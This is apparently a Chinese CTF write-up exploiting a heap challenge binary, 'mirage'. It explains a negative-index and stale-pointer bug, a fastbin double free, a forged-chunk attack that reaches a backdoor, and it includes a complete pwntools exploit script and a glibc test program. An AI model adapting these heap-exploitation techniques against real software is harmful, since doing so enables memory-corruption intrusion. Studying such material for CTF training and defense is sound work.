首先,我们检查一下程序的保护机制
然后,我们用IDA分析一下
看似复杂,但是我们的关注点在这里
当我们的初始化数据包满足条件,就能显示出菜单。
一个经典的增删查程序
Delete操作里有两个漏洞,一个是下标可以负向越界,另一个是对于下标大于46的,堆指针会被保留在数组里
而程序实际可以创建到下标48处(即49个堆),
那么,对于下标为47的堆,可以被我们double free,由于都是fastbin范围的块,我们需要让fastbin形成循环单链表。因此,我们delete(47)、delete(0)、delete(46)即可。
为什么第三个是delete(46),因为我们delete(0)后,原先在47位置的堆指针赋值到了46处。
程序在功能5有一个后门
不过需要chunk_number+8处数据满足条件。因此,我们用fastbin attack来攻击chunk_number。
我们控制chunk_number在0x20~0x2F的范围,使它伪造成一个chunk的size,这样,我们就能把它链接到之前的fastbin链表里,通过申请,就能申请到此处。
为了让chunk_number减少2个,但又不往fastbin里面新增chunk,我们可以delete()两个个空指针。于是我们执行两次的delete(-2)
不过,我们**[直接输入-2是不行的]{.mark}**
因为负号会被检测到,由此,我们采用补码的形式传入即可
1 2 3 4
| for i in range(2): delete(0x100000000-2)
|
然而,当我们delete(-2)后,变成这样了
[有堆的地址写到了fake_chunk的size的区域,如果把它链接到0x20的fastbin,申请看似会出错。]{.mark}
然而,事实是不会出错。这是怎么回事??
我们来做个试验
编译这段c语言代码,发现堆成功申请到目标地址处
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
|
int main() { printf("uint size=%d\n",sizeof(unsigned int)); char *p1 = (char *)malloc(0x10); char *p2 = (char *)malloc(0x10); free(p2); free(p1); *((int64_t *)(p2-0x8)) = 0xFFFFFFFF0000002F; char *p3 = (char *)malloc(0x10); char *p4 = (char *)malloc(0x10); strcat(p2,"P4P4P4P"); printf("*p4=%s,*p2=%s",p4,p2); return 0; }
|
我们发现,[size域高4字节数据对伪造的fastbin没有影响。]{.mark}
我们来看看glibc的源码
1 2 3
| /* offset 2 to use otherwise unindexable first 2 bins */
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
|
注意到size被强制转换为unsigned int后再进行的计算。而unsigned int为4字节。这就解释的通了。这也是我的**[新发现]{.mark}**。
综上,我们完整的exp脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| from pwn import * sh = process('./mirage') chunk_number_addr = 0x60514C def init_connection(): sh.send('RPCM' + p32(0) + p32(0x42,endian = 'big')) def create(content): sh.sendlineafter('> ','1') sh.sendafter('content: ',content) def show(index): sh.sendlineafter('> ','2') sh.sendlineafter('id: ',str(index)) def delete(index): sh.sendlineafter('> ','3') s = str(index) sh.sendlineafter('id: ',str(index)) init_connection() for i in range(49): create('a'*0x4)
delete(47) delete(0)
delete(46)
for i in range(2): delete(0x100000000-2) raw_input()
create(p32(chunk_number_addr - 0x8)) create('a'*0x4) create('a'*0x4) create(p32(0x100000000-17))
sh.sendlineafter('> ','5') sh.interactive()
|